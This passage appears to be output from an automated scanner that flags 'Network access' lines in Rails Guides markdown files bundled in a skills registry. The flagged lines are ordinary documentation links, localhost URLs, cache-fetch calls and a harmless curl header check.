    into your Rails application, while     [`cssbundling-rails`](https://github.com/rails/cssbundling-rails) can be     used to process stylesheets that use [Tailwind
  • Network accessline 142
    [`cssbundling-rails`](https://github.com/rails/cssbundling-rails) can be
  • Network accessline 143
    used to process stylesheets that use [Tailwind     CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/),     [Bulma](https://bulma.io/), [PostCSS](https://postcss.org/), or [Dart
  • Network accessline 144
    CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/),
  • Network accessline 145
    [Bulma](https://bulma.io/), [PostCSS](https://postcss.org/), or [Dart
  • Network accessline 146
    Sass](https://sass-lang.com/).
  • Network accessline 247
    If you're using the [`turbo-rails`](https://github.com/hotwired/turbo-rails) gem
  • Network accessline 320
    If you’re using bundlers like [Webpack](https://webpack.js.org/) or
  • Network accessline 321
    [esbuild](https://esbuild.github.io/), you should let the bundlers handle the
  • Network accessline 341
    process by adding them to `config.assets.excluded_paths`. This is useful if, for example, you’re using `app/assets/stylesheets` as input to a compiler like [Dart Sass](https://sass-lang.com/), and you don’t want these files to be part of th
  • Network accessline 342
    example, you’re using `app/assets/stylesheets` as input to a compiler like [Dart Sass](https://sass-lang.com/), and you don’t want these files to be part of the asset load path.
  • Network accessline 343
    Sass](https://sass-lang.com/), and you don’t want these files to be part of the
  • Network accessline 447
    Open your web browser and navigate to `http://localhost:3000`. You should
  • Network accessline 470
    When using JavaScript bundlers such as [esbuild](https://esbuild.github.io/) or
  • Network accessline 471
    [Webpack](https://webpack.js.org/) alongside Propshaft, the workflow combines
  • Network accessline 591
    CDN stands for [Content Delivery Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are
  • Network accessline 592
    Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are primarily designed to cache assets all over the world so that when a browser requests the asset, a cached copy will be geographically close to that browser.
  • Network accessline 633
    NOTE: You only need to provide the "host", this is the subdomain and root domain, you do not need to specify a protocol or "scheme" such as `http://` or
  • Network accessline 634
    domain, you do not need to specify a protocol or "scheme" such as `http://` or
  • Network accessline 635
    `https://`. When a web page is requested, the protocol in the link to your asset
  • Network accessline 638
    You can also set this value through an [environment variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a
  • Network accessline 639
    variable](https://en.wikipedia.org/wiki/Environment_variable) to make running a
  • Network accessline 656
    Will be rendered as full CDN URLs like `http://mycdnsubdomain.fictional-cdn.com/assets/smile.png` (digest omitted for
  • Network accessline 657
    `http://mycdnsubdomain.fictional-cdn.com/assets/smile.png` (digest omitted for
  • Network accessline 696
    One way to check the headers are cached properly in your CDN is by using [curl]( https://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
  • Network accessline 697
    https://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
  • Network accessline 702
    $ curl -I http://www.example/assets/application-
  • Network accessline 718
    $ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
  • Network accessline 767
    [`Cache-Control`]:     https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
  • Network accessline 768
    https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
  • Network accessline 776
    http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
  • Network accessline 782
    http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
  • Network accessline 836
    In the past, pre-processors like [Sass](https://sass-lang.com/) and
  • Network accessline 837
    [Less](https://lesscss.org/) were essential for CSS features such as variables
  • Network accessline 865
    Compression encodes files in a more efficient format to reduce their size further when delivered to users. A common technique is [Gzip compression](https://en.wikipedia.org/wiki/Gzip).
  • Network accessline 867
    compression](https://en.wikipedia.org/wiki/Gzip).
  • Network accessline 907
    Propshaft is intentionally simpler than [Sprockets](https://github.com/rails/sprockets-rails), which may make migrating
  • Network accessline 908
    [Sprockets](https://github.com/rails/sprockets-rails), which may make migrating
  • Network accessline 909
    from Sprockets a fair amount of work. This is especially true if you rely on Sprockets for tasks like transpiling [TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/),
  • Network accessline 910
    Sprockets for tasks like transpiling [TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/), or if you're using gems that provide this functionality. In such cases, you'll
  • Network accessline 911
    [TypeScript](https://www.typescriptlang.org/) or [Sass](https://sass-lang.com/),
  • Network accessline 913
    either need to stop transpiling or switch to a Node.js-based transpiler, such as those provided by [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or
  • Network accessline 914
    those provided by [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or [`cssbundling-rails`](https://github.com/rails/cssbundling-rails). Read more
  • Network accessline 915
    [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) or
  • Network accessline 916
    [`cssbundling-rails`](https://github.com/rails/cssbundling-rails). Read more
  • Network accessline 954
    For more information, you can read the [detailed guide on how to migrate from Sprockets to Propshaft](https://github.com/rails/propshaft/blob/main/UPGRADING.md).
  • Network accessline 956
    Propshaft](https://github.com/rails/propshaft/blob/main/UPGRADING.md).
  • Network accessline 961
    and as the web evolved, we began to see more JavaScript-heavy applications. In The Rails Doctrine we believe that [The Menu Is Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on
  • Network accessline 962
    The Rails Doctrine we believe that [The Menu Is Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on delivering a production-ready setup with modern browsers by default.
  • Network accessline 963
    Omakase](https://rubyonrails.org/doctrine#omakase), so Propshaft focuses on
  • Network accessline 973
    [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) is a gem that
  • Network accessline 974
    integrates modern JavaScript bundlers into your Rails application. It allows you to manage and bundle JavaScript assets with tools like [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or
  • Network accessline 975
    to manage and bundle JavaScript assets with tools like [Bun](https://bun.sh),
  • Network accessline 976
    [esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or
  • Network accessline 977
    [Webpack](https://webpack.js.org/), offering a runtime-dependent approach for
  • Network accessline 1009
    - Utilize libraries or frameworks that depend on a build step. For example,   projects requiring transpilation—such as those using   [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/),
  • Network accessline 1010
    projects requiring transpilation—such as those using   [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/),   or React JSX—benefit greatly from `jsbundling-rails`. These tools rely on a
  • Network accessline 1011
    [Babel](https://babeljs.io/), [TypeScript](https://www.typescriptlang.org/),
  • Network accessline 1021
    [`cssbundling-rails`](https://github.com/rails/cssbundling-rails) integrates
  • Network accessline 1048
    - Use CSS frameworks like [Tailwind CSS](https://tailwindcss.com/),
  • Network accessline 1049
    [Bootstrap](https://getbootstrap.com/), or [Bulma](https://bulma.io/) that
  • Network accessline 1050
    require processing during development or deployment. - Need advanced CSS capabilities such as custom preprocessing with   [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/)
  • Network accessline 1051
    - Need advanced CSS capabilities such as custom preprocessing with   [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/)   plugins.
  • Network accessline 1052
    [PostCSS](https://postcss.org/) or [Dart Sass](https://sass-lang.com/)
  • Network accessline 1058
    **NOTE**: Unlike [`dartsass-rails`](https://github.com/rails/dartsass-rails) or
  • Network accessline 1059
    [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails), which use
  • Network accessline 1060
    standalone versions of [Dart Sass](https://sass-lang.com/) and [Tailwind
  • Network accessline 1061
    CSS](https://tailwindcss.com/), `cssbundling-rails` introduces a Node.js
  • Network accessline 1062
    dependency. This makes it a good choice for applications already relying on Node for JavaScript processing with gems like `jsbundling-rails`. However, if you're using [`importmap-rails`](https://github.com/rails/importmap-rails) for
  • Network accessline 1063
    for JavaScript processing with gems like `jsbundling-rails`. However, if you're using [`importmap-rails`](https://github.com/rails/importmap-rails) for JavaScript and prefer to avoid Node.js, standalone alternatives like
  • Network accessline 1064
    using [`importmap-rails`](https://github.com/rails/importmap-rails) for
  • Network accessline 1065
    JavaScript and prefer to avoid Node.js, standalone alternatives like [`dartsass-rails`](https://github.com/rails/dartsass-rails) or [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) offer a
  • Network accessline 1066
    [`dartsass-rails`](https://github.com/rails/dartsass-rails) or
  • Network accessline 1067
    [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) offer a
  • Network accessline 1076
    [`tailwindcss-rails`](https://github.com/rails/tailwindcss-rails) is a wrapper
  • Network accessline 1077
    gem that integrates [Tailwind CSS](https://tailwindcss.com/) into your Rails
  • Network accessline 1078
    application. By bundling Tailwind CSS with a [standalone executable](https://tailwindcss.com/blog/standalone-cli), it eliminates the need for Node.js or additional JavaScript dependencies. This makes it a lightweight
  • Network accessline 1079
    executable](https://tailwindcss.com/blog/standalone-cli), it eliminates the need
  • Network accessline 1105
    - Want to use [Tailwind CSS](https://tailwindcss.com/) without introducing a
  • Network accessline 1117
    [`importmap-rails`](https://github.com/rails/importmap-rails) enables a
  • Network accessline 1118
    Node.js-free approach to managing JavaScript in Rails applications. It leverages modern browser support for [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)
  • Network accessline 1119
    modern browser support for [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) to load JavaScript directly in the browser without requiring bundling or
  • Network accessline 1120
    Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)
  • Network accessline 1130
    - JavaScript dependencies are managed using the `bin/importmap` command, which   pins modules to URLs, typically hosted on CDNs like   [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready
  • Network accessline 1131
    pins modules to URLs, typically hosted on CDNs like   [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready   versions of libraries. This eliminates the need for `node_modules` or a
  • Network accessline 1132
    [jsDelivr](https://www.jsdelivr.com/) that host pre-bundled, browser-ready
  • Network accessline 1154
    - Do not require complex JavaScript features like transpiling or bundling. - Use modern JavaScript without relying on tools like   [Babel](https://babeljs.io/).
  • Network accessline 1156
    [Babel](https://babeljs.io/).

packages/autoskills/skills-registry/rails-guides/references/association_basics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 30
    When you set up an association, Rails helps define and manage the [Primary Key](https://en.wikipedia.org/wiki/Primary_key) and [Foreign
  • Network accessline 31
    Key](https://en.wikipedia.org/wiki/Primary_key) and [Foreign
  • Network accessline 32
    Key](https://en.wikipedia.org/wiki/Foreign_key) relationships between instances
  • Network accessline 161
    [`belongs_to`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to
  • Network accessline 162
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to
  • Network accessline 163
    [`has_and_belongs_to_many`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many [`has_many`]:
  • Network accessline 164
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many
  • Network accessline 165
    [`has_many`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many [`has_one`]:
  • Network accessline 166
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many
  • Network accessline 168
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one
  • Network accessline 264
    We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to).
  • Network accessline 266
    API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to).
  • Network accessline 489
    We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one).
  • Network accessline 491
    API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one).
  • Network accessline 691
    If you wish to enforce [referential integrity](https://en.wikipedia.org/wiki/Referential_integrity) at the database
  • Network accessline 692
    integrity](https://en.wikipedia.org/wiki/Referential_integrity) at the database
  • Network accessline 731
    We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many).
  • Network accessline 733
    API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many).
  • Network accessline 767
    [`collection<<`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C
  • Network accessline 768
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-3C-3C
  • Network accessline 769
    [`collection.build`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build [`collection.clear`]:
  • Network accessline 770
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-build
  • Network accessline 771
    [`collection.clear`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear [`collection.create`]:
  • Network accessline 772
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-clear
  • Network accessline 773
    [`collection.create`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create [`collection.create!`]:
  • Network accessline 774
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create
  • Network accessline 775
    [`collection.create!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21 [`collection.delete`]:
  • Network accessline 776
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-create-21
  • Network accessline 777
    [`collection.delete`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete [`collection.destroy`]:
  • Network accessline 778
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-delete
  • Network accessline 779
    [`collection.destroy`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy [`collection.empty?`]:
  • Network accessline 780
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-destroy
  • Network accessline 781
    [`collection.empty?`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F [`collection.exists?`]:
  • Network accessline 782
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F
  • Network accessline 783
    [`collection.exists?`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F [`collection.find`]:
  • Network accessline 784
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F
  • Network accessline 785
    [`collection.find`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find [`collection.reload`]:
  • Network accessline 786
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find
  • Network accessline 787
    [`collection.reload`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload [`collection.size`]:
  • Network accessline 788
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload
  • Network accessline 789
    [`collection.size`]:     https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size [`collection.where`]:
  • Network accessline 790
    https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size
  • Network accessline 792
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where
  • Network accessline 1264
    We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many).
  • Network accessline 1266
    API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many).
  • Network accessline 1753
    [connection.add_reference]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference
  • Network accessline 1754
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference
  • Network accessline 1919
    [inheritance_column]:     https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column
  • Network accessline 1920
    https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column
  • Network accessline 1922
    https://api.rubyonrails.org/classes/ActiveRecord/SubclassNotFound.html
  • Network accessline 2138
    But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call [`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload)
  • Network accessline 2139
    by some other part of the application? Just call [`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload) on the association:
  • Network accessline 2140
    [`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload)
  • Network accessline 2580
    Each association supports numerous options which you can read more about in [`Options` section of each association in the ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
  • Network accessline 2581
    [`Options` section of each association in the ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html). We'll discuss some of the common use cases below.
  • Network accessline 2582
    API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
  • Network accessline 3206
    may have stale data. In other words, any orphaned models will still count towards the counter. To fix a stale counter cache, use [`reset_counters`](https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-res
  • Network accessline 3208
    [`reset_counters`](https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-reset_counters).

packages/autoskills/skills-registry/rails-guides/references/autoloading_and_reloading_constants.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 48
    Rails _autoloads_ them on your behalf if needed. This is possible thanks to a couple of [Zeitwerk](https://github.com/fxn/zeitwerk) loaders Rails sets up on your behalf, which provide autoloading, reloading, and eager loading.
  • Network accessline 64
    Please, check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#file-structure) for further details.
  • Network accessline 73
    Within an autoload path, file names must match the constants they define as documented [here](https://github.com/fxn/zeitwerk#file-structure).
  • Network accessline 306
    # config/initializers/api_gateway_setup.rb ApiGateway.endpoint = "https://example.com" # NameError
  • Network accessline 307
    ApiGateway.endpoint = "https://example.com" # NameError
  • Network accessline 313
    # config/initializers/api_gateway_setup.rb Rails.application.config.to_prepare do   ApiGateway.endpoint = "https://example.com" # CORRECT
  • Network accessline 314
    Rails.application.config.to_prepare do   ApiGateway.endpoint = "https://example.com" # CORRECT end
  • Network accessline 315
    ApiGateway.endpoint = "https://example.com" # CORRECT
  • Network accessline 357
    Yet another example are railties or engines decorating framework classes by including modules. For instance, [`turbo-rails`](https://github.com/hotwired/turbo-rails) decorates `ActiveRecord::Base` this way:
  • Network accessline 414
    In production-like environments it is generally better to load all the application code when the application boots. Eager loading puts everything in memory ready to serve requests right away, and it is also [CoW](https://en.wikipedia.org/wi
  • Network accessline 456
    In this example, we still want `app/models/shapes/circle.rb` to define `Circle`, not `Shapes::Circle`. This may be your personal preference to keep things simple, and also avoids refactors in existing code bases. The [collapsing](https://gi
  • Network accessline 555
    You can even define a custom inflector for full flexibility. Please check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#custom-inflector) for further details.
  • Network accessline 574
    Zeitwerk supports [custom root namespaces](https://github.com/fxn/zeitwerk#custom-root-namespaces) to address this use case, and you can customize the `main` autoloader to accomplish that:
  • Network accessline 607
    For example, this application uses [Devise](https://github.com/heartcombo/devise):

packages/autoskills/skills-registry/rails-guides/references/caching_with_rails.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 38
    By default, [Action Controller Caching](https://api.rubyonrails.org/classes/ActionController/Caching.html) is
  • Network accessline 39
    Caching](https://api.rubyonrails.org/classes/ActionController/Caching.html) is
  • Network accessline 111
    # Fetch a value with a block to set a default if it doesn’t exist welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
  • Network accessline 112
    welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
  • Network accessline 123
    a recently expired entry while one process rebuilds it. The full set of options is documented in [`ActiveSupport::Cache::Store`](https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html).
  • Network accessline 125
    [`ActiveSupport::Cache::Store`](https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html).
  • Network accessline 139
    # Fetch a value with a block to set a default if it doesn’t exist welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
  • Network accessline 140
    welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" }
  • Network accessline 168
    class Product < ApplicationRecord   def competing_price     Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do
  • Network accessline 169
    def competing_price     Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do       Competitor::API.find_price(id)
  • Network accessline 170
    Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do
  • Network accessline 187
    to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the [`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't
  • Network accessline 188
    save values with `Rails.cache` and then try to pull them out with the [`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax
  • Network accessline 189
    [`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't
  • Network accessline 198
    # super_admins is an expensive SQL query, so don't run it too often Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do
  • Network accessline 199
    Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do
  • Network accessline 213
    ids = Rails.cache.fetch("super_admin_user_ids", expires_in: 12.hours) do
  • Network accessline 262
    TIP: Cache stores like [Memcached](https://memcached.org) automatically evict
  • Network accessline 317
    Rails can infer many template dependencies directly from `render` calls in the template. For example, the [`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html)
  • Network accessline 318
    template. For example, the [`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html) can understand calls like these:
  • Network accessline 319
    [`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html)
  • Network accessline 448
    You can share partials, and their cached output, across templates with different [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types).
  • Network accessline 449
    [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types). For example, the same partial can be reused from both HTML and JavaScript
  • Network accessline 450
    types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types).
  • Network accessline 680
    can install them separately. For example, if you want to use Solid Queue and Solid Cable but not Solid Cache, you can follow the installation guides for [Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid
  • Network accessline 681
    Solid Cable but not Solid Cache, you can follow the installation guides for [Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid Cable](https://github.com/rails/solid_cable#installation).
  • Network accessline 682
    [Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid
  • Network accessline 683
    Cable](https://github.com/rails/solid_cable#installation).
  • Network accessline 748
    For the full list of keys under `store_options`, see [Cache configuration](https://github.com/rails/solid_cache#cache-configuration).
  • Network accessline 749
    configuration](https://github.com/rails/solid_cache#cache-configuration).
  • Network accessline 756
    Solid Cache tracks cache writes by incrementing a counter with each write. When the counter reaches 50% of the `expiry_batch_size` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration), a
  • Network accessline 757
    the counter reaches 50% of the `expiry_batch_size` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration), a background task is triggered to handle cache expiry. This approach ensures cache
  • Network accessline 758
    configuration](https://github.com/rails/solid_cache#cache-configuration), a
  • Network accessline 763
    when the cache is not being updated. If you prefer to run the expiry process in a background job instead of a thread, set `expiry_method` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration) to
  • Network accessline 764
    a background job instead of a thread, set `expiry_method` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration) to `:job`.
  • Network accessline 765
    configuration](https://github.com/rails/solid_cache#cache-configuration) to
  • Network accessline 877
    [`ActiveSupport::Cache::Store`]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html
  • Network accessline 878
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html
  • Network accessline 879
    [ActiveSupport::Cache::Store#delete]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-delete [ActiveSupport::Cache::Store#exist?]:
  • Network accessline 880
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-delete
  • Network accessline 881
    [ActiveSupport::Cache::Store#exist?]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-exist-3F [ActiveSupport::Cache::Store#fetch]:
  • Network accessline 882
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-exist-3F [ActiveSupport::Cache::Store#fetch]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
  • Network accessline 883
    [ActiveSupport::Cache::Store#fetch]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch [ActiveSupport::Cache::Store#read]:
  • Network accessline 884
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
  • Network accessline 885
    [ActiveSupport::Cache::Store#read]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-read [ActiveSupport::Cache::Store#write]:
  • Network accessline 886
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-read
  • Network accessline 888
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-write
  • Network accessline 914
    [`ActiveSupport::Cache::MemoryStore`]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html
  • Network accessline 915
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html
  • Network accessline 936
    [`ActiveSupport::Cache::FileStore`]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html
  • Network accessline 937
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html
  • Network accessline 962
    See the [`Dalli::Client` documentation](https://www.rubydoc.info/gems/dalli/Dalli/Client#initialize-instance_method)
  • Network accessline 963
    documentation](https://www.rubydoc.info/gems/dalli/Dalli/Client#initialize-instance_method)
  • Network accessline 970
    [`ActiveSupport::Cache::MemCacheStore`]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html
  • Network accessline 971
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html
  • Network accessline 972
    [`memcached`]: https://memcached.org/
  • Network accessline 974
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html#method-i-write
  • Network accessline 983
    cache server and avoid filling your persistent Redis instance with volatile cache data. See the [Redis cache server setup guide](https://redis.io/topics/lru-cache) for more details.
  • Network accessline 985
    guide](https://redis.io/topics/lru-cache) for more details.
  • Network accessline 1038
    [`ActiveSupport::Cache::RedisCacheStore`]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html
  • Network accessline 1039
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html
  • Network accessline 1040
    [Redis]: https://redis.io/
  • Network accessline 1053
    [`ActiveSupport::Cache::NullStore`]:     https://api.rubyonrails.org/classes/ActiveSupport/Cache/NullStore.html
  • Network accessline 1054
    https://api.rubyonrails.org/classes/ActiveSupport/Cache/NullStore.html
  • Network accessline 1081
    class ReportJob < ApplicationJob   def perform(account)     Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do
  • Network accessline 1082
    def perform(account)     Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do       account.generate_daily_report
  • Network accessline 1083
    Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do
  • Network accessline 1099
    Rails.application.executor.wrap do   Rails.cache.fetch("stats", expires_in: 5.minutes) { expensive_calculation }
  • Network accessline 1100
    Rails.cache.fetch("stats", expires_in: 5.minutes) { expensive_calculation }

packages/autoskills/skills-registry/rails-guides/references/command_line.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 2
    <https://guides.rubyonrails.org>.**
  • Network accessline 200
    encoding: unicode   # For details on connection pooling, see Rails configuration guide   # https://guides.rubyonrails.org/configuring.html#database-pooling
  • Network accessline 201
    # For details on connection pooling, see Rails configuration guide   # https://guides.rubyonrails.org/configuring.html#database-pooling   pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 3 } %>
  • Network accessline 202
    # https://guides.rubyonrails.org/configuring.html#database-pooling
  • Network accessline 203
    pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 3 } %>
  • Network accessline 242
